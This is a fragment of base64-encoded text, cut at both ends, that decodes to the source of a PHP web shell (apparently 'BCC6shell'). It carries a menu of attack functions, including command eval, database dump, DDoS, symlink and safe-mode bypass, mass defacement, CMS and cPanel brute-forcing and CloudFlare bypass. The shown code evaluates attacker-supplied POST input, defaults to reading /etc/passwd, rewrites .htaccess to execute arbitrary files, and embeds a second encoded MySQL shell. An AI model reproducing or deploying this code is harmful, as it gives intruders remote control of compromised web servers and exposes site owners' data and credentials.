lheyBmb250LWZhbWlseTogO30KCi5iMzc0a3sKCWZvbnQtc2l6ZTozMHB4OwoJcGFkZGluZzowOwoJY29sb3I6IzQ0NDQ0NDsKfQouYjM3NGtfdGJsewoJdGV4dC1hbGlnbjpjZW50ZXI7CgltYXJnaW46MCA0cHggMCAwOwoJcGFkZGluZzowIDRweCAwIDA7Cglib3JkZXItcmlnaHQ6MXB4IHNvbGlkICNjNDA5MDk7Cn0KLnBocGluZm8gdGFibGV7Cgl3aWR0aDoxMDAlOwoJcGFkZGluZzowIDAgMCAwOwp9Ci5waHBpbmZvIHRkewoJYmFja2dyb3VuZDojNmEwNzA3OwoJY29sb3I6I2NjY2NjYzsKcGFkZGluZzo2cHggOHB4OzsKfQoucGhwaW5mbyB0aCwgdGh7CgliYWNrZ3JvdW5kOiM2YTA3MDc7Cglib3JkZXItYm90dG9tOjFweCBzb2xpZCAjYzQwOTA5Owpmb250LXdlaWdodDpub3JtYWw7Cn0KLnBocGluZm8gaDIsIC5waHBpbmZvIGgyIGF7Cgl0ZXh0LWFsaWduOmNlbnRlcjsKCWZvbnQtc2l6ZToxNnB4OwoJcGFkZGluZzowOwoJbWFyZ2luOjMwcHggMCAwIDA7CgliYWNrZ3JvdW5kOiNjNDA5MDk7CglwYWRkaW5nOjRweCAwOwp9Ci5leHBsb3Jlewp3aWR0aDoxMDAlOwp9Ci5leHBsb3JlIGEgewp0ZXh0LWRlY29yYXRpb246bm9uZTsKfQouZXhwbG9yZSB0ZHsKYm9yZGVyLWJvdHRvbToxcHggc29saWQgI2M0MDkwOTsKcGFkZGluZzowIDhweDsKbGluZS1oZWlnaHQ6MjRweDsKfQouZXhwbG9yZSB0aHsKcGFkZGluZzozcHggOHB4Owpmb250LXdlaWdodDpub3JtYWw7Cn0KLmV4cGxvcmUgdGg6aG92ZXIgLCAucGhwaW5mbyB0aDpob3ZlcnsKYm9yZGVyLWJvdHRvbToxcHggc29saWQgI0ZGMDAwMDsKfQouZXhwbG9yZSB0cjpob3ZlcnsKYmFja2dyb3VuZDojNmEwNzA3Owp9Ci52aWV3ZmlsZXsKYmFja2dyb3VuZDojRURFQ0VCOwpjb2xvcjojMDAwMDAwOwptYXJnaW46NHB4IDJweDsKcGFkZGluZzo4cHg7Cn0KLnNlbWJ1bnlpewpkaXNwbGF5Om5vbmU7CnBhZGRpbmc6MDttYXJnaW46MDsKfQoKPC9zdHlsZT48L2hlYWQ+CgoKPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY21kJykuZm9jdXMoKTsiPgo8ZGl2IGNsYXNzPSJtYWluIj4KPCEtLSBoZWFkIGluZm8gc3RhcnQgaGVyZSAtLT4KPGRpdiBjbGFzcz0iaGVhZF9pbmZvIj4KPHRhYmxlID48dHI+Cjx0ZD48dGFibGUgY2xhc3M9ImIzNzRrX3RibCI+PHRyPjx0ZD48YSBocmVmPSI/Ij48c3BhbiBjbGFzcz0iYjM3NGsiPjxpbWcgc3JjPSJodHRwOi8vaTEzNDUucGhvdG9idWNrZXQuY29tL2FsYnVtcy9wNjczL0FwaXpfcHVkaW4vQkNDNnNoZWxsX3pwczUxYjgzODJmLnBuZyIgLz48L3NwYW4+PC9hPjwvdGQ+PC90cj48dHI+PHRkPjxiPjwvYj48L3RkPjwvdHI+PC90YWJsZT48L3RkPgo8dGQ+PD9waHAgZWNobyAkYnVmZjsgPz48L3RkPgo8L3RyPjwvdGFibGU+CjwvZGl2Pgo8IS0tIGhlYWQgaW5mbyBlbmQgaGVyZSAtLT4KPCEtLSBtZW51IHN0YXJ0IC0tPgo8Y2VudGVyPjxkaXYgaWQ9Im1lbnUiPgo8YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7ID8+Ij48aW1nIHNyYz0nZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FZQUFBQWY4LzloQUFBQUFYTlNSMElBcnM0YzZRQUFBQVppUzBkRUFQOEEvd0Qvb0wybmt3QUFBQWx3U0ZsekFBQU4xZ0FBRGRZQmtHOTVuQUFBQUFkMFNVMUZCOW9KQnhRMkdSbnUvVGdBQUFKelNVUkJWRGpMdFpMUFN4dEJITVhmNXNlbVpEZlM3S3BJYVd6UlNob0ZENVVLOWg2YWk1ZUNQZlprd1lKNGtGNTY2YTMwSDBnRjI0QlVxRGRqQlQxVkNGSXNOQlVXRXcraGEyb2JwREdVWEdSMVo3S1orZmJRUmt5MXZmVUxBelBENC9NZU13LzRIN082dWdvQXNHMTd0Rnd1SndGZ2QzZjNRcTN5TjBnK243K3I2L29LZ0V0UU1EV1lHSHg1a2M1MzlyQzR1QWdBMkh5L09hR3E2b3BsV2FWY0xtZHh4bDlZbHZVRUFMYTJ0djZkWUdQalhTb1M2Y2hXS3BXS2FacGRvVkJJTDVWSyswTkRRLzFFTkQwMk5qWi9Mc0hjM0J3QVlHMXRiU0lZVkxPRlF1R3pwbWxkZ1VEQWtGS3F2YjI5MTdhM3QyM0dXRHFYeXowQmdQWDE5ZllFeTh2TEtWM1hzd2NIQnhYRE1Mb2lrWWdocGFSVzBrYWp3ZmJLNVc4MzQvRitBTk9wVkdyK0ZMQzB0SFJmMC9UWCsvdGY3SjZlbml1YXBwa0E2SXdCdFNDMmJYOU5KQklEUlBUMDVPVGt1VEwxYUtwajlQYm94MXF0ZG1nWXhsWFRORzhRRVYzd1BnUkFjVjIzYmxsV2ZtUmtaTmgxM1Z1S3BtbkJ2cjYrTzFMSzJzek16TnR3T0J4dmlZVVFVQlFGUHArdkJZQ1U4akNUeWFTT2o0OHZBL2h3NmpJK1BoNUpKcE9md3VGd25JakFHS3N2TEN3OGN4eEhURTQrZkd3WTBSZ1JnWWkrTzQ0elBEczdXMi9yZ2V1NkNtTU1qREZ3emlHRStKRklKRjVWcTlWTXMra2RjczdCT1FkakRFZEhSNmZHZ2RaR0NBSE9PZngrUDRnSVFnZ1pqVWFwczlPa1JxTkJqREhRcjFFOHo4TTVRTFZhaGVNNFRaL2ZCeERRYkRaVnovTWdKWUZ6SGxSVkZVUlFtczJHcU5mcjRxSW0rbU94MkwzdTd1NWhLU1ZDSVhWUFN2R21zRk5VQnVMeEI4RkE0RG9BZUo2M1V5d1dzd0JrMngrbDAra1cwUDk3S1g4MHRuWGZOajhCNU5FNURPTVYyVDBBQUFBQVNVVk9SSzVDWUlJPScgaGVpZ2h0PSIxOCIgd2lkdGg9IjM0Ij48L2E+CjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9c2hlbGwiPlNoZWxsPC9hPgo8YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7ID8+JmFtcDt4PXBocCI+RXZhbDwvYT4KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD1zcWwiPk15c3FsPC9hPgo8YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7ID8+JmFtcDt4PWR1bXAiPkRhdGFiYXNlIER1bXA8L2E+CjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9cGhwaW5mbyI+UGhwIEluZm88L2E+CjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9bmV0c3Bsb2l0Ij5OZXQgU3Bsb2l0PC9hPgo8YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7ID8+JmFtcDt4PXVwbG9hZCI+VXBsb2FkPC9hPgo8YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7ID8+JmFtcDt4PW1haWwiPkUtTWFpbDwvYT4KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD1zcWxpLXNjYW5uZXIiPlNRTEkgU2NhbjwvYT4KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD1wb3J0LXNjIj5Qb3J0IFNjYW48L2E+CjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9ZG9zIj5ERG9zPC9hPgo8YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7ID8+JmFtcDt4PXRvb2wiPlRvb2xzPC9hPgo8YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7ID8+JmFtcDt4PXB5dGhvbiI+cHl0aG9uPC9hPgo8YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7ID8+JmFtcDt4PXN5bWxpbmsiPlN5bWxpbms8L2E+PGJyPjxicj4KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD1jb25maWciPkNvbmZpZzwvYT4KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD1ieXBhc3MiPkJ5cGFzczwvYT4KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD1jZ2kiPkNnaVNoZWxsPC9hPgo8YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7ID8+JmFtcDt4PWNnaTIwMTIiPkNHSSBUZWxuZXQgMjAxMjwvYT4KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD1kb21haW4iPkRvbWFpbjwvYT4KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD1qb2RleGVyIj5Kb29tbGEgSW5kQ2hhbmdlPC9hPgo8YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7ID8+JmFtcDt4PXZiIj5WQiBJbmRDaGFuZ2U8L2E+CjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9d3AtcmVzZXQiPldvcmRwcmVzcyBSZXNQYXNzPC9hPgo8YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7ID8+JmFtcDt4PWptLXJlc2V0Ij5Kb29tbGEgUmVzUGFzczwvYT4KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD13aG1jcyI+V0hNQ1MgRGVjb2RlcjwvYT4KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD16b25lIj5ab25lLUg8L2E+PGJyPjxicj4KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD1tYXNzIj5NYXNzIERlZmFjZTwvYT4KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD13cGJydXRlIj5Xb3JkcHJlc3MgQnJ1dGVGb3JjZTwvYT4KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD1qYnJ1dGUiPkpvb21sYSBCcnV0ZUZvcmNlPC9hPgo8YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7ID8+JmFtcDt4PWJydXRlIj5DcGFuZWwgQnJ1dGVGb3JjZTwvYT4KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD1ieXBhc3MtY2YiPkJ5cGFzcyBDbG91ZEZsYXJlPC9hPgo8YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7ID8+JmFtcDt4PWFkZmluIj5BZG1pbiBGaW5kZXI8L2E+CjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9aGFzaCI+UGFzc3dvcmQgSGFzaDwvYT4KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD1oYXNoaWQiPkhhc2ggSUQ8L2E+CjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9c3RyaW5nIj5TY3JpcHQgRW5jb2RlPC9hPjxicj48YnI+CjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9d2hvaXMiPldlYnNpdGUgV2hvaXM8L2E+CjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9anNzIj5Kb29tbGEgU2VydmVyIFNjYW5uZXI8L2E+CjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9Y21zX2RldGVjdCI+Q21zIERldGVjdG9yPC9hPgo8YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7ID8+JmFtcDt4PWFib3V0Ij5BYm91dDwvYT4KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOwk/PiZhbXA7eD1sb2dvdXQiPkxvZy1PdXQ8L2E+CgoKPC9kaXY+PC9jZW50ZXI+CjwhLS0gbWVudSBlbmQgLS0+Cgo8P3BocApAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsKaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3BocCcpKXsgPz4KPGZvcm0gYWN0aW9uPSI/eT08P3BocCBlY2hvICRwd2Q7ID8+JmFtcDt4PXBocCIgbWV0aG9kPSJwb3N0Ij4KPHRhYmxlIGNsYXNzPSJjbWRib3giPgo8dHI+PHRkPgo8dGV4dGFyZWEgY2xhc3M9Im91dHB1dCIgbmFtZT0iY21kIiBpZD0iY21kIj4KPD9waHAKaWYoaXNzZXQoJF9QT1NUWydzdWJtaXRjbWQnXSkpIHsKCWVjaG8gZXZhbChtYWdpY2Jvb20oJF9QT1NUWydjbWQnXSkpOwp9CmVsc2UgZWNobyAiZWNobyBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9wYXNzd2QnKTsiOwo/Pgo8L3RleHRhcmVhPgo8dHI+PHRkPjxpbnB1dCBzdHlsZT0id2lkdGg6MTklOyIgY2xhc3M9ImlucHV0emJ1dCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28gISIgbmFtZT0ic3VibWl0Y21kIiAvPjwvdGQ+PC90cj48L2Zvcm0+CjwvdGFibGU+CjwvZm9ybT4KCjw/cGhwIH0gCgplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3NxbCcpKQogICAgewogICAgPz4KPGZvcm0gYWN0aW9uPSI/eT08P3BocCBlY2hvICRwd2Q7ID8+JmFtcDt4PXNxbCIgbWV0aG9kPSJwb3N0Ij4KPD9waHAKZWNobyAiPGNlbnRlci8+PGJyLz48Yj48Zm9udCBjb2xvcj0jRkYwMDAwPistLT09WyBNeXNxbCBJbnRlcmZhY2UgXT09LS0rPC9mb250PjwvYj48YnI+PGJyPiI7CiAgbWtkaXIoJ215c3FsJywgMDc1NSk7CiAgICBjaGRpcignbXlzcWwnKTsKICAgICAgICAkYWtzZXMgPSAiLmh0YWNjZXNzIjsKICAgICAgICAkYnVrYV9sYWggPSAiJGFrc2VzIjsKICAgICAgICAkYnVrYSA9IGZvcGVuICgkYnVrYV9sYWggLCAndycpIG9yIGRpZSAoIkVycm9yIGN1eXkhIik7CiAgICAgICAgJG1ldGluID0gIk9wdGlvbnMgRm9sbG93U3ltTGlua3MgTXVsdGlWaWV3cyBJbmRleGVzIEV4ZWNDR0kKQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLXBocCAuY3BjCiI7ICAgIAogICAgICAgIGZ3cml0ZSAoICRidWthICwgJG1ldGluICkgOwogICAgICAgIGZjbG9zZSAoJGJ1a2EpOwokc3Fsc2hlbGwgPSAnUEQ4TkNpUlFRVk5UVjA5U1JDQTlJQ0p5YjI5MFgzaG9ZV2hoZUNJN0RRb2tWVk5GVWs1QlRVVWdQU0FpZUdoaGFHRjRJanNOQ21sbUlDZ2dablZ1WTNScGIyNWZaWGhwYzNSektDZHBibWxmWjJWMEp5a2dLU0I3RFFvSkpHOXViMlptSUQwZ2FXNXBYMmRsZENnbmNtVm5hWE4wWlhKZloyeHZZbUZzY3ljcE93MEtmU0JsYkhObElIc05DZ2trYjI1dlptWWdQU0JuWlhSZlkyWm5YM1poY2lnbmNtVm5hWE4wWlhKZloyeHZZbUZzY3ljcE93MEtmUTBLYVdZZ0tDUnZibTltWmlBaFBTQXhLU0I3RFFvSlFHVjRkSEpoWTNRb0pFaFVWRkJmVTBWU1ZrVlNYMVpCVWxNc0lFVllWRkpmVTB0SlVDazdEUW9KUUdWNGRISmhZM1FvSkVoVVZGQmZRMDlQUzBsRlgxWkJVbE1zSUVWWVZGSmZVMHRKVUNrN0RRb0pRR1Y0ZEhKaFkzUW9KRWhVVkZCZlVFOVRWRjlHU1V4RlV5d2dSVmhVVWw5VFMwbFFLVHNOQ2dsQVpYaDBjbUZqZENna1NGUlVVRjlRVDFOVVgxWkJVbE1zSUVWWVZGSmZVMHRKVUNrN0RRb0pRR1Y0ZEhKaFkzUW9KRWhVVkZCZlIwVlVYMVpCVWxNc0lFVllWRkpmVTB0SlVDazdEUW9KUUdWNGRISmhZM1FvSkVoVVZGQmZSVTVXWDFaQlVsTXNJRVZZVkZKZlUwdEpVQ2s3RFFwOURRb05DbVoxYm1OMGFXOXVJR3h2WjI5dUtDa2dldzBLQ1dkc2IySmhiQ0FrVUVoUVgxTkZURVk3RFFvSmMyVjBZMjl2YTJsbEtDQWliWGx6Y1d4ZmQyVmlYMkZrYldsdVgzVnpaWEp1WVcxbElpQXBPdzBLQ1hObGRHTnZiMnRwWlNnZ0ltMTVjM0ZzWDNkbFlsOWhaRzFwYmw5d1lYTnpkMjl5WkNJZ0tUc05DZ2x6WlhSamIyOXJhV1VvSUNKdGVYTnhiRjkzWldKZllXUnRhVzVmYUc5emRHNWhiV1VpSUNrN0RRb0paV05vYnlBaVBIUmhZbXhsSUhkcFpIUm9QVEV3TUNVZ2FHVnBaMmgwUFRFd01DVStQSFJ5UGp4MFpENDhZMlZ1ZEdWeVBseHVJanNOQ2dsbFkyaHZJQ0k4ZEdGaWJHVWdZMlZzYkhCaFpHUnBibWM5TWo0OGRISStQSFJrUGp4alpXNTBaWEkrWEc0aU93MEtDV1ZqYUc4Z0lqeDBZV0pzWlNCalpXeHNjR0ZrWkdsdVp6MHlNRDQ4ZEhJK1BIUmtQanhqWlc1MFpYSStYRzRpT3cwS0NXVmphRzhnSWp4b01UNU5lVk5SVENCSmJuUmxjbVpoWTJVZ1Fua2dVelJOVURSSVBDOW9NVDVjYmlJN0RRb0paV05vYnlBaVBHWnZjbTBnWVdOMGFXOXVQU2NrVUVoUVgxTkZURVluUGx4dUlqc05DZ2xsWTJodklDSThhVzV3ZFhRZ2RIbHdaVDFvYVdSa1pXNGdibUZ0WlQxaFkzUnBiMjRnZG1Gc2RXVTlZa2M1Ym1JeU5XWmpNMVpwWWxkc01ENWNiaUk3RFFvSlpXTm9ieUFpUEhSaFlteGxJR05sYkd4d1lXUmthVzVuUFRVZ1kyVnNiSE53WVdOcGJtYzlNVDVjYmlJN0RRb0paV05vYnlBaVBIUnlQangwWkNCamJHRnpjejFjSW01bGQxd2lQa2h2YzNSdVlXMWxJRHd2ZEdRK1BIUmtQaUE4YVc1d2RYUWdkSGx3WlQxMFpYaDBJRzVoYldVOWFHOXpkRzVoYldVZ2RtRnNkV1U5SjJ4dlkyRnNhRzl6ZENjK1BDOTBaRDQ4TDNSeVBseHVJanNOQ2dsbFkyaHZJQ0k4ZEhJK1BIUmtJR05zWVhOelBWd2libVYzWENJK1ZYTmxjbTVoYldVZ1BDOTBaRDQ4ZEdRK0lEeHBibkIxZENCMGVYQmxQWFJsZUhRZ2JtRnRaVDExYzJWeWJtRnRaVDQ4TDNSa1Bqd3ZkSEkrWEc0aU93MEtDV1ZqYUc4Z0lqeDBjajQ4ZEdRZ1kyeGhjM005WENKdVpYZGNJajVRWVhOemQyOXlaQ0E4TDNSa1BqeDBaRDRnUEdsdWNIVjBJSFI1Y0dVOWNHRnpjM2R2Y21RZ2JtRnRaVDF3WVhOemQyOXlaRDQ4TDNSa1Bqd3ZkSEkrWEc0aU93MEtDV1ZqYUc4Z0lqd3ZkR0ZpYkdVK1BIQStYRzRpT3cwS0NXVmphRzhnSWp4cGJuQjFkQ0IwZVhCbFBYTjFZbTFwZENCMllXeDFaVDBuUlc1MFpYSW5QbHh1SWpzTkNnbGxZMmh2SUNJOGFXNXdkWFFnZEhsd1pUMXlaWE5sZENCMllXeDFaVDBuUTJ4bFlYSW5QanhpY2o1Y2JpSTdEUW9KWldOb2J5QWlQQzltYjNKdFBseHVJanNOQ2dsbFkyaHZJQ0k4TDJObGJuUmxjajQ4TDNSa1Bqd3ZkSEkrUEM5MFlXSnNaVDVjYmlJN0RRb0paV05vYnlBaVBDOWpaVzUwWlhJK1BDOTBaRDQ4TDNSeVBqd3ZkR0ZpYkdVK1hHNGlPdzBLQ1dWamFHOGdJanh3UGp4b2NpQjNhV1IwYUQwek1EQStYRzRpT3cwS0NXVmphRzhnSWp3dlkyVnVkR1Z5UGp3dmRHUStQQzkwY2o0OEwzUmhZbXhsUGx4dUlqc05DbjBOQ2cwS1puVnVZM1JwYjI0Z2JHOW5iMjVmYzNWaWJXbDBLQ2tnZXcwS0NXZHNiMkpoYkNBa2RYTmxjbTVoYldVc0lDUndZWE56ZDI5eVpDd2dKR2h2YzNSdVlXMWxJQ3drVUVoUVgxTkZURVk3RFFvSmFXWW9KR2h2YzNSdVlXMWxJRDA5SnljcERRb0pDU1JvYjNOMGJtRnRaU0E5SUNkc2IyTmhiR2h2YzNRbk93MEtDWE5sZEdOdmIydHBaU2dnSW0xNWMzRnNYM2RsWWw5aFpHMXBibDkxYzJWeWJtRnRaU0lzSUNSMWMyVnlibUZ0WlNBcE93MEtDWE5sZEdOdmIydHBaU2dnSW0xNWMzRnNYM2RsWWw5aFpHMXBibDl3WVhOemQyOXlaQ0lzSUNSd1lYTnpkMjl5WkNBcE93MEtDWE5sZEdOdmIydHBaU2dnSW0xNWMzRnNYM2RsWWw5aFpHMXBibDlvYjNOMGJtRnRaU0lzSUNSb2IzTjBibUZ0WlNBcE93MEtDV1ZqYUc4Z0lqeE5SVlJCSUVoVVZGQXRSVkZWU1ZZOVVtVm1jbVZ6YUNCRFQwNVVSVTVVUFNjd095QlZVa3c5SkZCSVVGOVRSVXhHUDJGamRHbHZiajFpUjJ4NlpFVlNRMk4zUFQwblBpSTdEUXA5RFFvTkNtWjFibU4wYVc5dUlHVmphRzlSZFdWeWVWSmxjM1ZzZENncElIc05DZ2xuYkc5aVlXd2dKSEYxWlhKNVUzUnlMQ0FrWlhKeVRYTm5PdzBLQ1dsbUtDQWtaWEp5VFhObklEMDlJQ0lpSUNrZ0pHVnljazF6WnlBOUlDSlRkV05qWlhOeklqc05DZ2xwWmlnZ0pIRjFaWEo1VTNSeUlDRTlJQ0lpSUNrZ2V3MEtDUWxsWTJodklDSThkR0ZpYkdVZ1kyVnNiSEJoWkdScGJtYzlOVDVjYmlJN0RRb0pDV1ZqYUc4Z0lqeDBjajQ4ZEdRK1VYVmxjbms4TDNSa1BqeDBaRDRrY1hWbGNubFRkSEk4TDNSa1Bqd3ZkSEkrWEc0aU93MEtDUWxsWTJodklDSThkSEkrUEhSa1BsSmxjM1ZzZER3dmRHUStQSFJrUGlSbGNuSk5jMmM4TDNSa1Bqd3ZkSEkrWEc0aU93MEtDUWxsWTJodklDSThMM1JoWW14bFBqeHdQbHh1SWpzTkNnbDlEUXA5RFFvTkNtWjFibU4wYVc5dUlHeHBjM1JFWVhSaFltRnpaWE1vS1NCN0RRb0paMnh2WW1Gc0lDUnRlWE54YkVoaGJtUnNaU3dnSkZCSVVGOVRSVXhHT3cwS0NXVmphRzhnSWp4b01UNUVZWFJoWW1GelpYTWdUR2x6ZER3dmFERStYRzRpT3cwS0NXVmphRzhnSWp4bWIzSnRJR0ZqZEdsdmJqMG5KRkJJVUY5VFJVeEdKejVjYmlJN0RRb0paV05vYnlBaVBHbHVjSFYwSUhSNWNHVTlhR2xrWkdWdUlHNWhiV1U5WVdOMGFXOXVJSFpoYkhWbFBXTnlaV0YwWlVSQ1BseHVJanNOQ2dsbFkyaHZJQ0k4YVc1d2RYUWdkSGx3WlQxMFpYaDBJRzVoYldVOVpHSnVZVzFsUGx4dUlqc05DZ2xsWTJodklDSThhVzV3ZFhRZ2RIbHdaVDF6ZFdKdGFYUWdkbUZzZFdVOUowTnlaV0YwWlNCRVlYUmhZbUZ6WlNjK1hHNGlPdzBLQ1dWamFHOGdJand2Wm05eWJUNWNiaUk3RFFvSlpXTm9ieUFpUEdoeVBseHVJanNOQ2dsbFkyaHZJQ0k4ZEdGaWJHVWdZMlZzYkhOd1lXTnBibWM5TVNCalpXeHNjR0ZrWkdsdVp6MDFQbHh1SWpzTkNna2tjRVJDSUQwZ2JYbHpjV3hmYkdsemRGOWtZbk1vSUNSdGVYTnhiRWhoYm1Sc1pTQXBPdzBLQ1NSdWRXMGdQU0J0ZVhOeGJGOXVkVzFmY205M2N5Z2dKSEJFUWlBcE93MEtDV1p2Y2lnZ0pHa2dQU0F3T3lBa2FTQThJQ1J1ZFcwN0lDUnBLeXNnS1NCN0RRb0pDU1JrWW01aGJXVWdQU0J0ZVhOeGJGOWtZbTVoYldVb0lDUndSRUlzSUNScElDazdEUW9KQ1dWamFHOGdJangwY2o1Y2JpSTdEUW9KQ1dWamFHOGdJangwWkQ0a1pHSnVZVzFsUEM5MFpENWNiaUk3RFFvSkNXVmphRzhnSWp4MFpENDhZU0JvY21WbVBTY2tVRWhRWDFORlRFWS9ZV04wYVc5dVBXeHBjM1JVWVdKc1pYTW1aR0p1WVcxbFBTUmtZbTVoYldVblBsUmhZbXhsY3p3dllUNDhMM1JrUGx4dUlqc05DZ2tKWldOb2J5QWlQSFJrUGp4aElHaHlaV1k5SnlSUVNGQmZVMFZNUmo5aFkzUnBiMjQ5WkhKdmNFUkNKbVJpYm1GdFpUMGtaR0p1WVcxbEp5QnZia05zYVdOclBWd2ljbVYwZFhKdUlHTnZibVpwY20wb0owUnliM0FnUkdGMFlXSmhjMlVnWENja1pHSnVZVzFsWENjL0p5bGNJajVFY205d1BDOWhQand2ZEdRK1hHNGlPdzBLQ1FsbFkyaHZJQ0k4ZEdRK1BHRWdhSEpsWmowbkpGQklVRjlUUlV4R1AyRmpkR2x2Ymoxa2RXMXdSRUltWkdKdVlXMWxQU1JrWW01aGJXVW5JRzl1UTJ4cFkyczlYQ0p5WlhSMWNtNGdZMjl1Wm1seWJTZ25SSFZ0Y0NCRVlYUmhZbUZ6WlNCY0p5UmtZbTVoYldWY0p6OG5LVndpUGtSMWJYQThMMkUrUEM5MFpENWNiaUk3RFFvSkNXVmphRzhnSWp3dmRISStYRzRpT3cwS0NYME5DZ2xsWTJodklDSThMM1JoWW14bFBseHVJanNOQ24wTkNnMEtablZ1WTNScGIyNGdZM0psWVhSbFJHRjBZV0poYzJVb0tTQjdEUW9KWjJ4dlltRnNJQ1J0ZVhOeGJFaGhibVJzWlN3Z0pHUmlibUZ0WlN3Z0pGQklVRjlUUlV4R093MEtDVzE1YzNGc1gyTnlaV0YwWlY5a1lpZ2dKR1JpYm1GdFpTd2dKRzE1YzNGc1NHRnVaR3hsSUNrN0RRb0piR2x6ZEVSaGRHRmlZWE5sY3lncE93MEtmUTBLRFFwbWRXNWpkR2x2YmlCa2NtOXdSR0YwWVdKaGMyVW9LU0I3RFFvSloyeHZZbUZzSUNSdGVYTnhiRWhoYm1Sc1pTd2dKR1JpYm1GdFpTd2dKRkJJVUY5VFJVeEdPdzBLQ1cxNWMzRnNYMlJ5YjNCZlpHSW9JQ1JrWW01aGJXVXNJQ1J0ZVhOeGJFaGhibVJzWlNBcE93MEtDV3hwYzNSRVlYUmhZbUZ6WlhNb0tUc05DbjBOQ2cwS1puVnVZM1JwYjI0Z2JHbHpkRlJoWW14bGN5Z3BJSHNOQ2dsbmJHOWlZV3dnSkcxNWMzRnNTR0Z1Wkd4bExDQWtaR0p1WVcxbExDQWtVRWhRWDFORlRFWTdEUW9KWldOb2J5QWlQR2d4UGxSaFlteGxjeUJNYVhOMFBDOW9NVDVjYmlJN0RRb0paV05vYnlBaVBIQWdZMnhoYzNNOWJHOWpZWFJwYjI0K0pHUmlibUZ0WlR3dmNENWNiaUk3RFFvSlpXTm9iMUYxWlhKNVVtVnpkV3gwS0NrN0RRb0paV05vYnlBaVBHWnZjbTBnWVdOMGFXOXVQU2NrVUVoUVgxTkZURVluUGx4dUlqc05DZ2xsWTJodklDSThhVzV3ZFhRZ2RIbHdaVDFvYVdSa1pXNGdibUZ0WlQxaFkzUnBiMjRnZG1Gc2RXVTlZM0psWVhSbFZHRmliR1UrWEc0aU93MEtDV1ZqYUc4Z0lqeHBibkIxZENCMGVYQmxQV2hwWkdSbGJpQnVZVzFsUFdSaWJtRnRaU0IyWVd4MVpUMGtaR0p1WVcxbFBseHVJanNOQ2dsbFkyaHZJQ0k4YVc1d2RYUWdkSGx3WlQxMFpYaDBJRzVoYldVOWRHRmliR1Z1WVcxbFBseHVJanNOQ2dsbFkyaHZJQ0k4YVc1d2RYUWdkSGx3WlQxemRXSnRhWFFnZG1Gc2RXVTlKME55WldGMFpTQlVZV0pzWlNjK1hHNGlPdzBLQ1dWamFHOGdJand2Wm05eWJUNWNiaUk3RFFvSlpXTm9ieUFpUEdadmNtMGdZV04wYVc5dVBTY2tVRWhRW